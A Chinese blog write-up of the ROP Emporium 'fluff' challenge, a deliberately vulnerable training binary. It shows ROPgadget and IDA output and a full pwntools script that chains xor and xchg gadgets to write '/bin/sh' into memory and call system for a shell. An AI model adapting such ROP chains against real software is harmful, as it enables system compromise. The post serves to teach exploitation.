fluff

链接:https://pan.baidu.com/s/1rNBQdwJcGG7Ih6NFvZYBaw
提取码:h31t

这个程序中漏洞点很显眼就不啰嗦了,有system函数,但没有/bin/sh 字符串

要做的是把这个 '/bin/sh' 写到一段内存中,当然难点也在这里!

$ ROPgadget --binary fluff  --only 'pop|ret'
Gadgets information
============================================================
0x00000000004008bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008c0 : pop r14 ; pop r15 ; ret
0x00000000004008c2 : pop r15 ; ret
0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008bf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x00000000004008c3 : pop rdi ; ret
0x00000000004008c1 : pop rsi ; pop r15 ; ret
0x00000000004008bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

Unique gadgets found: 11

程序中只有一个fgets是个输入函数,但是没有rdx,所以没办法使用fgets把字符串写入内存

接下来的操作很骚,注意!

如果不能用函数写入,那就这样

  • pop rag1 内存地址
  • pop rag2 ‘/bin/sh'
  • mov [rag1] rag2
    • 使用这类似这种的形式把字符串写入内存中,我们把所有可以赋值的指令找出来
$ ROPgadget --binary fluff --only 'pop|mov|ret|xor|xchg' --depth 20
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040084f : mov dword ptr [rdx], ebx ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400835 : mov ebp, 0x604060 ; ret
0x0000000000400846 : mov ebx, 0x602050 ; ret
0x0000000000400827 : mov edi, 0x601050 ; ret
0x000000000040083b : mov edi, 0x601050 ; xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x000000000040084e : mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400845 : mov r11d, 0x602050 ; ret
0x0000000000400834 : mov r13d, 0x604060 ; ret
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
0x00000000004008bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400853 : pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400851 : pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004008be : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400825 : pop r14 ; mov edi, 0x601050 ; ret
0x00000000004008c0 : pop r14 ; pop r15 ; ret
0x000000000040082d : pop r14 ; xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400843 : pop r15 ; mov r11d, 0x602050 ; ret
0x00000000004008c2 : pop r15 ; ret
0x0000000000400820 : pop r15 ; xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400852 : pop rbp ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004008bf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x00000000004008ba : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400844 : pop rdi ; mov r11d, 0x602050 ; ret
0x00000000004008c3 : pop rdi ; ret
0x0000000000400821 : pop rdi ; xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400826 : pop rsi ; mov edi, 0x601050 ; ret
0x00000000004008c1 : pop rsi ; pop r15 ; ret
0x000000000040082e : pop rsi ; xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400833 : pop rsp ; mov r13d, 0x604060 ; ret
0x00000000004008bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400854 : pop rsp ; xor byte ptr [r10], r12b ; ret
0x00000000004005b9 : ret
0x0000000000400841 : xchg ebx, edx ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400855 : xor byte ptr [r10], r12b ; ret
0x0000000000400856 : xor byte ptr [rdx], ah ; ret
0x0000000000400823 : xor ebx, ebx ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400830 : xor ebx, esp ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret

在这一大堆里直接找有些麻烦,可以看到很多都是0x4008**这个地址

在ida找到这个地址

pop     r15
xor     r11, r11
pop     r14
mov     edi, offset __data_start
retn
-----------------------------------
pop     r14
xor     r11, r12
pop     r12
mov     r13d, 604060h
retn
-----------------------------------
mov     edi, offset __data_start
xchg    r10, r11					
pop     r15
mov     r11d, 602050h
retn
-----------------------------------
pop     r15
mov     [r10], r11  				
pop     r13
pop     r12
xor     [r10], r12b
retn

按照刚才的顺序,倒着从这里面找

复习一下 xchg 是交换两个寄存器(内存)的数据

xor 是 ^
(x^a)^a == x
x^0 == x

#!/usr/bin/python
#coding=utf-8
from pwn import *
p = process("./fluff") 
p.recvuntil('> ')

sh='/bin/sh\x00'   #这里的字符串一定要8位
system=0x4005E0
pop_rdi_ret=0x4008c3

payload='a'*0x20+p64(0)
#mov r11 602050h ;ret 
payload+=p64(0x400845) 

#pop r12;mov r13 604060h;ret;             让r11^r12 r11==data
data=0x601050 
r11=0x602050
payload+=p64(0x400832)+p64(data^r11)

#xor r11 r12; pop r12;mov r13 604060h;ret; 现在r11==data
payload+=p64(0x40082F)+p64(0)

#xchg r10 r11;pop r15;mov r11 602050h ;ret 现在[r10]==*data
payload+=p64(0x400840)+p64(0)

#pop r12;mov r13 ...;ret;                  现在r12='bin/sh'
payload+=p64(0x400832)+sh

#xor r11 r11;pop r14;mov ... ret;          现在r11=0
payload+=p64(0x400822)+p64(0)

#xor r11 r12; pop r12;mov r13 ...;ret;     现在r11=='bin/sh'
payload+=p64(0x40082F)+p64(0)

#mov [r10] r11; pop r13; pop 12; xor [r10] r12b ret;
payload+=p64(0x40084E)+p64(0)+p64(0)      #现在*data='bin/sh'

payload+=p64(pop_rdi_ret)+p64(data)+p64(system)
p.sendline(payload)
p.interactive()

posted @ 2020-06-07 20:37  虐黑三爆  阅读(379)  评论(0编辑  收藏  举报